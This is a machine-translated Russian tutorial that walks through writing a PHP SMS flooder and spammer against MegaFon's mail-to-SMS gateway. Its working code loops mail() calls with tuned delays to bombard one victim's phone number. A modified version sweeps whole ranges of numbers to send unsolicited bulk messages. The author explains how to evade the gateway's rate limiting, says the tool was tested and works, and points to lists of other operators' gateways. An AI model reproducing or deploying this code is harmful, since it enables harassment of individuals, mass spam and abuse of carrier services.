This page has been robot translated, sorry for typos if any. Original content here.

We write Sms flooder or spammer (mail2sms)

mail2sms
Finding either non-working links or non-working scripts decided to roll the flooder. The victim was the Russian MEGAFON. Let's take him as an example.

FLUD

First, we'll figure out what a flooder is. In my understanding, a flooder is a program or script that (s) sends some information to a given addressee in a certain amount (often - in very large).

So, what do we need to write such a flooder? Yes, almost nothing:
  • hosting, with PHP support
  • brain + straight arms
  • the ability to use Google
For flooding we will use the SMS gateway of this operator.
SMS gateway is an interface that allows you to send and receive SMS messages without using a mobile phone. SMS messages are converted to e-mail messages, HTTP requests and back. A message sent through such a gateway can be free for the sender; However, technical limitations are possible, such as limiting the number of messages sent from one computer per day.

As you can see from the above, advanced programmers do not learn anything new for themselves.
So, you chose hosting, you figured it out ...
Create the index.php page of the following content:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
As you can see from the code, it will be a page with a form for sending referring to our script, which will be called sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
We begin to parse the code.
At the beginning of the script, we assign variables.
$ from - any mailbox from which messages will be sent.
$ to - the addressee, that is, the one whom we boom to flood. The value of the variable is taken from the form index.php and merges with @ sms.mgsm.ru. What is this @ sms.mgsm.ru? This is the SMS gateway operator Megafon.
$ msg is a variable that contains the text that will be sent.
Next, there is a cycle, the task of which is sending the desired amount of message with a pause sleep.
The mail function is responsible for mail forwarding to the gateway.

Now about the function sleep . Why is it needed?
If we do not enter it, the server will not react to the required amount of SMS and will send them in the amount of 1-2 pieces. That's in order for the server to respond and this feature is needed. In brackets, the number of seconds of delay is written. This figure is selected by the method of enumeration of various variants. Its value can depend on the load of the gateway and the speed of your Internet. So experiment here. The script was checked with parameter 7 .

We check the script. We go to our form, enter the required data and click the button ...
Now you should take into account that the script is executed not immediately , but gradually, waiting for the pause you set after sending each message.

SPAM

What is spam? I understand spam as a mass mailing of some information to different people for different purposes. What we need to organize spam
  • all that was listed for the flooder
We need to slightly alter the form of the dispatch. I will give only a fragment:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
And a little modified sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
I think everything is clear. We move on a given range of numbers and send them SMS at a specified interval. This method:
[+] works without a database. per person saving money and traffic
[+] unlike the base - you also get to the network beginners, which are not yet available in databases (paid and free)
[-] not all sent SMS will be sent for the reason that there may not be such numbers. But you can choose such a range, so that there is a maximum probability of SMS delivery.

What to say in conclusion ...
This material does not call you to action and has a fact-finding character. The author of the article is me, and when copying the link here is required.
With a small desire and due skill, the script is modified into a spammer or adjusted to any other operator, with a working SMS gateway. Here for the search for gateways, we needed the ability to google. For the lazy - a large list of gateways . But this, maybe, will be the next article.

PS Flooder recently tested. Everything works great. If it does not work, there are several options. One - crooked hands. Second - your hosting does not hold the mail function. Third - the operator changed the gateway or the gateway is overloaded.